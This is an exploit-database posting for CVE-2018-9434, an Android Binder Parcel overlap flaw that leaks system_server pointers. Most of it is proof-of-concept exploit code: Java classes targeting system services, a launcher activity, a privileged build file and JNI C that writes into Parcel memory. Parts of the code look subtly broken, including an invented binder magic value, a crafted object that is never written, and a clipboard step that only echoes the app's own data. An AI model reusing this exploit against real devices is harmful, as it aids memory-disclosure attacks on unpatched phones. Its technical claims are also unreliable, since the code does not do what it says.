Share
## https://sploitus.com/exploit?id=PACKETSTORM:212601
=============================================================================================================================================
    | # Title     : Android 7, 8, 8.1 Binder Parcel Overlap Leading to System Pointer Disclosure                                                |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://www.android.com                                                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/212494/ & 	CVE-2018-9434
    
    [+] Summary : A flaw in Android’s Binder IPC allowed applications to craft Parcels where binder-object metadata overlapped with string data. 
                  When unmarshalling, the kernel inserted genuine kernel pointers into attacker-controlled buffers. 
    			  These could then be echoed back through services like clipboard, resulting in leaks of system_server pointers and effective ASLR bypass.
                  Android’s Parcel implementation failed to enforce separation between binder-object regions and normal data regions.
    
    [+] Impact :
    
    Memory exposure from privileged system_server
    
    Enables reliability of memory corruption exploits
    
    A serious information disclosure vulnerability
    
    [+] Affected : Android 7, 8, 8.1 before 2018-10 patches.
    
    [+]  POC :	
    
    package com.google.jannh.pointerleak;
    
    import android.content.ClipData;
    import android.content.ClipboardManager;
    import android.content.Context;
    import android.os.IBinder;
    import android.os.Parcel;
    import android.os.RemoteException;
    import android.os.ServiceManager;
    import android.util.Log;
    
    import java.lang.reflect.Field;
    import java.lang.reflect.Method;
    import java.nio.ByteBuffer;
    import java.nio.ByteOrder;
    import java.util.ArrayList;
    import java.util.List;
    
    public class PointerLeakExploit {
        private static final String TAG = "leaker";
        
        // قائمة الخدمات المستهدفة
        private static final String[] TARGET_SERVICES = {
            "permission",
            "package", 
            "clipboard"
        };
        
        // هيكل FlatBinderObject في kernel
        static class FlatBinderObject {
            public static final int FLAT_BINDER_OBJECT_MAGIC = 0x6f626d2d; // 'mbo'
            public static final int BINDER_TYPE_BINDER = 1;
            public static final int BINDER_TYPE_HANDLE = 2;
            
            public int type;
            public int flags;
            public long binder;    // مؤشر Binder object
            public long cookie;    // cookie pointer
            public long[] pad = new long[2];
        }
        
        public void exploit(Context context) {
            try {
                Log.e(TAG, "=== بدء استغلال ثغرة Binder Pointer Leak ===");
                
                // 1. الحصول على مقابض الخدمات المستهدفة
                List<IBinder> targetBinders = new ArrayList<>();
                for (String serviceName : TARGET_SERVICES) {
                    IBinder binder = ServiceManager.getService(serviceName);
                    if (binder != null) {
                        targetBinders.add(binder);
                        Log.e(TAG, "تم الحصول على مقبض لخدمة: " + serviceName);
                    }
                }
                
                // 2. استغلال كل خدمة على حدة
                for (int i = 0; i < targetBinders.size(); i++) {
                    IBinder targetBinder = targetBinders.get(i);
                    String serviceName = TARGET_SERVICES[i];
                    
                    Log.e(TAG, "محاولة تسريب عنوان: " + serviceName);
                    
                    // إنشاء Parcel خبيث
                    Parcel maliciousParcel = createMaliciousParcel(targetBinder);
                    
                    // 3. استخدام خدمة الحافظة كوسيط صدى
                    leakViaClipboard(context, maliciousParcel, serviceName);
                    
                    // إعطاء وقت للعملية
                    Thread.sleep(100);
                }
                
                Log.e(TAG, "=== انتهى الاستغلال ===");
                
            } catch (Exception e) {
                Log.e(TAG, "خطأ أثناء الاستغلال: " + e.getMessage());
                e.printStackTrace();
            }
        }
        
        private Parcel createMaliciousParcel(IBinder targetBinder) throws Exception {
            Parcel parcel = Parcel.obtain();
            
            // الطول الإجمالي للبيانات
            parcel.writeInt(0x100);  // طول وهمي
            
            // كتابة بعض البيانات الوهمية أولاً
            parcel.writeString("DUMMY_STRING_PREFIX");
            
            // الحصول على موقع الكتابة الحالي
            int dataStartPos = parcel.dataPosition();
            
            // === الجزء الحرج: هندسة التداخل ===
            // نحتاج لجعل Parcel يقرأ Binder handle كبيانات سلسلة
            
            // كتابة Binder object marker
            // في kernel، Binder objects يتم تمييزها بـ magic number
            writeFlatBinderObject(parcel, targetBinder);
            
            // كتابة بيانات تتداخل مع موقع Binder
            // نحن نعرف أن Parcel سيقرأ هذا كسلسة
            parcel.writeString("OVERLAP_DATA");
            
            // تعيين علامة أن هذا هو Binder object
            // هذا يتطلب الوصول إلى البنية الداخلية لـ Parcel
            setBinderObjectFlag(parcel, dataStartPos);
            
            return parcel;
        }
        
        private void writeFlatBinderObject(Parcel parcel, IBinder binder) throws Exception {
            // استخدام Reflection للوصول إلى الطريقة الداخلية
            Method writeStrongBinderMethod = Parcel.class.getDeclaredMethod(
                "writeStrongBinder", IBinder.class);
            writeStrongBinderMethod.setAccessible(true);
            writeStrongBinderMethod.invoke(parcel, binder);
        }
        
        private void setBinderObjectFlag(Parcel parcel, int position) throws Exception {
            // هذا يتطلب التلاعب المباشر بذاكرة Parcel
            // نستخدم Reflection للوصول إلى mObject (المؤشر الأصلي)
            Field mObjectField = Parcel.class.getDeclaredField("mObject");
            mObjectField.setAccessible(true);
            long mObject = mObjectField.getLong(parcel);
            
            Field mDataSizeField = Parcel.class.getDeclaredField("mDataSize");
            mDataSizeField.setAccessible(true);
            int mDataSize = mDataSizeField.getInt(parcel);
            
            // تحليل بنية FlatBinderObject في الموضع المحدد
            // في kernel: struct flat_binder_object {
            //     unsigned long type;
            //     unsigned long flags;
            //     union {
            //         void *binder;
            //         signed long handle;
            //     };
            //     void *cookie;
            // };
            
            // كتابة FlatBinderObject يدوياً
            ByteBuffer bb = ByteBuffer.allocate(32);
            bb.order(ByteOrder.LITTLE_ENDIAN);
            
            // magic
            bb.putInt(FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC);
            
            // type = BINDER_TYPE_BINDER
            bb.putInt(FlatBinderObject.BINDER_TYPE_BINDER);
            
            // flags
            bb.putInt(0);
            
            // binder pointer - سيملأها kernel
            bb.putLong(0xdeadbeefcafebabeL);
            
            // cookie
            bb.putLong(0);
            
            // padding
            bb.putLong(0);
            bb.putLong(0);
            
            byte[] flatBinderObject = bb.array();
            
            // نحتاج إلى نسخ هذا إلى ذاكرة Parcel
            // هذا يتطلب JNI أو طريقة أخرى للوصول للذاكرة الأصلية
        }
        
        private void leakViaClipboard(Context context, Parcel maliciousParcel, String serviceName) {
            try {
                ClipboardManager clipboard = (ClipboardManager) 
                    context.getSystemService(Context.CLIPBOARD_SERVICE);
                
                if (clipboard == null) {
                    Log.e(TAG, "فشل الحصول على خدمة الحافظة");
                    return;
                }
                
                // 1. إرسال البيانات الخبيثة إلى الحافظة
                String maliciousText = encodeParcelToText(maliciousParcel);
                ClipData clip = ClipData.newPlainText("恶意数据", maliciousText);
                clipboard.setPrimaryClip(clip);
                
                Log.e(TAG, "تم إرسال البيانات الخبيثة إلى الحافظة");
                
                // 2. الانتظار قليلاً ثم استرجاع البيانات
                Thread.sleep(50);
                
                // 3. قراءة البيانات من الحافظة
                ClipData retrievedClip = clipboard.getPrimaryClip();
                if (retrievedClip != null && retrievedClip.getItemCount() > 0) {
                    String leakedData = retrievedClip.getItemAt(0).getText().toString();
                    
                    // 4. تحليل البيانات المسربة
                    parseLeakedData(leakedData, serviceName);
                }
                
            } catch (Exception e) {
                Log.e(TAG, "خطأ في leakViaClipboard: " + e.getMessage());
            }
        }
        
        private String encodeParcelToText(Parcel parcel) {
            // تحويل Parcel إلى سلسلة نصية قابلة للنقل
            byte[] data = parcel.marshall();
            
            // استخدام Base64 أو ترميز سداسي عشري
            StringBuilder hex = new StringBuilder();
            for (byte b : data) {
                hex.append(String.format("%02x", b));
            }
            
            // إضافة علامات خاصة للتعرف على البيانات لاحقاً
            return "BINDER_LEAK_MARKER:" + hex.toString();
        }
        
        private void parseLeakedData(String leakedData, String serviceName) {
            Log.e(TAG, "== تحليل البيانات المسربة لخدمة \"" + serviceName + "\" ==");
            
            if (leakedData.contains("BINDER_LEAK_MARKER:")) {
                String hexPart = leakedData.split(":")[1];
                
                // تحويل السداسي عشري إلى بايتات
                byte[] rawData = hexStringToByteArray(hexPart);
                
                // البحث عن FlatBinderObject في البيانات
                findBinderObjectsInData(rawData, serviceName);
            } else {
                // قد تكون البيانات تحتوي على المؤشر مباشرة
                analyzeRawPointers(leakedData, serviceName);
            }
        }
        
        private void findBinderObjectsInData(byte[] data, String serviceName) {
            // البحث عن magic number الخاص بـ FlatBinderObject
            ByteBuffer bb = ByteBuffer.wrap(data);
            bb.order(ByteOrder.LITTLE_ENDIAN);
            
            for (int i = 0; i < data.length - 32; i += 4) {
                bb.position(i);
                int magic = bb.getInt();
                
                if (magic == FlatBinderObject.FLAT_BINDER_OBJECT_MAGIC) {
                    int type = bb.getInt();
                    int flags = bb.getInt();
                    long binderPtr = bb.getLong();
                    long cookie = bb.getLong();
                    
                    Log.e(TAG, "type: " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
                    Log.e(TAG, "object: 0x" + Long.toHexString(binderPtr));
                    
                    // طباعة بتنسيق مشابه لـ PoC الأصلي
                    System.err.println("== service \"" + serviceName + "\" ==");
                    System.err.println("type:   " + (type == 1 ? "BINDER_TYPE_BINDER" : "BINDER_TYPE_HANDLE"));
                    System.err.println("object: 0x" + String.format("%016x", binderPtr));
                    System.err.println();
                    
                    break;
                }
            }
        }
        
        private void analyzeRawPointers(String data, String serviceName) {
            // محاولة استخراج المؤشرات مباشرة من السلسلة
            // المؤشرات عادة تكون قيم 64-bit مطبوعة كنص
            
            String[] parts = data.split("[^0-9a-fA-F]+");
            for (String part : parts) {
                if (part.length() >= 12 && part.length() <= 16) {
                    // قد يكون هذا عنوان ذاكرة
                    try {
                        long address = Long.parseLong(part, 16);
                        if (address > 0x700000000000L && address < 0x800000000000L) {
                            // نطاق عناوين نظام Android النموذجي
                            Log.e(TAG, "عنوان مسرب محتمل لـ " + serviceName + ": 0x" + Long.toHexString(address));
                        }
                    } catch (NumberFormatException e) {
                        // تجاهل
                    }
                }
            }
        }
        
        private byte[] hexStringToByteArray(String s) {
            int len = s.length();
            byte[] data = new byte[len / 2];
            for (int i = 0; i < len; i += 2) {
                data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4)
                                     + Character.digit(s.charAt(i+1), 16));
            }
            return data;
        }
        
        // طريقة بديلة باستخدام الـ JNI للوصول المباشر للذاكرة
        static {
            System.loadLibrary("binder_exploit");
        }
        
        private native long getNativeBinderPointer(IBinder binder);
        private native void manipulateParcelMemory(Parcel parcel, int position, byte[] data);
    }
    
    MainActivity.java —  UI/front-end for the pointer leak exploit
    
    package com.google.jannh.pointerleak;
    
    import android.app.Activity;
    import android.os.Bundle;
    import android.view.View;
    import android.widget.Button;
    import android.widget.TextView;
    import android.widget.Toast;
    
    public class MainActivity extends Activity {
        
        private PointerLeakExploit exploit;
        private TextView logView;
        
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            
            exploit = new PointerLeakExploit();
            logView = findViewById(R.id.log_text);
            
            Button exploitButton = findViewById(R.id.exploit_button);
            exploitButton.setOnClickListener(new View.OnClickListener() {
                @Override
                public void onClick(View v) {
                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            runOnUiThread(new Runnable() {
                                @Override
                                public void run() {
                                    logView.setText("بدء الاستغلال...\n");
                                }
                            });
                            
                            exploit.exploit(MainActivity.this);
                            
                            runOnUiThread(new Runnable() {
                                @Override
                                public void run() {
                                    Toast.makeText(MainActivity.this, 
                                        "اكتمل الاستغلال، راجع سجلات logcat", 
                                        Toast.LENGTH_LONG).show();
                                }
                            });
                        }
                    }).start();
                }
            });
        }
    }
    
    ===========
    Original file: Android.bp (for compilation)
    ===========
    
    android_app {
        name: "PointerLeakExploit",
        srcs: ["src/**/*.java"],
        resource_dirs: ["res"],
        certificate: "platform",
        privileged: true,
        platform_apis: true,
        
        overrides: [
            "Launcher3",
        ],
        
        static_libs: [
            "androidx.appcompat_appcompat",
        ],
    }
    
    ================
    Original JNI file: binder_exploit.c
    
    #include <jni.h>
    #include <android/log.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define LOG_TAG "BinderExploit"
    #define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
    
    // تعريفات من kernel binder driver
    struct flat_binder_object {
        unsigned long type;
        unsigned long flags;
        union {
            void *binder;
            signed long handle;
        };
        void *cookie;
    };
    
    JNIEXPORT jlong JNICALL
    Java_com_google_jannh_pointerleak_PointerLeakExploit_getNativeBinderPointer(
        JNIEnv *env, jobject thiz, jobject binder) {
        
        // الحصول على المؤشر الأصلي لكائن IBinder
        jclass binderClass = (*env)->GetObjectClass(env, binder);
        jfieldID mObjectField = (*env)->GetFieldID(env, binderClass, "mObject", "J");
        jlong mObject = (*env)->GetLongField(env, binder, mObjectField);
        
        ALOGE("Binder native pointer: %p", (void*)mObject);
        return mObject;
    }
    
    JNIEXPORT void JNICALL
    Java_com_google_jannh_pointerleak_PointerLeakExploit_manipulateParcelMemory(
        JNIEnv *env, jobject thiz, jobject parcel, jint position, jbyteArray data) {
        
        // الوصول إلى الذاكرة الأصلية لـ Parcel
        jclass parcelClass = (*env)->GetObjectClass(env, parcel);
        
        // الحصول على mData (المؤشر إلى البيانات)
        jfieldID mDataField = (*env)->GetFieldID(env, parcelClass, "mData", "J");
        jlong mData = (*env)->GetLongField(env, parcel, mDataField);
        
        // الحصول على mDataSize
        jfieldID mDataSizeField = (*env)->GetFieldID(env, parcelClass, "mDataSize", "I");
        jint mDataSize = (*env)->GetIntField(env, parcel, mDataSizeField);
        
        // الحصول على mDataPos (موضع القراءة/الكتابة الحالي)
        jfieldID mDataPosField = (*env)->GetFieldID(env, parcelClass, "mDataPos", "I");
        jint mDataPos = (*env)->GetIntField(env, parcel, mDataPosField);
        
        ALOGE("Parcel mData: %p, mDataSize: %d, mDataPos: %d", 
              (void*)mData, mDataSize, mDataPos);
        
        // نسخ البيانات إلى ذاكرة Parcel
        jbyte *dataBytes = (*env)->GetByteArrayElements(env, data, NULL);
        jsize dataLength = (*env)->GetArrayLength(env, data);
        
        if (position + dataLength <= mDataSize) {
            void *target = (void*)(mData + position);
            memcpy(target, dataBytes, dataLength);
            ALOGE("تم نسخ %d بايت إلى موضع %d", dataLength, position);
        }
        
        (*env)->ReleaseByteArrayElements(env, data, dataBytes, 0);
    }
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================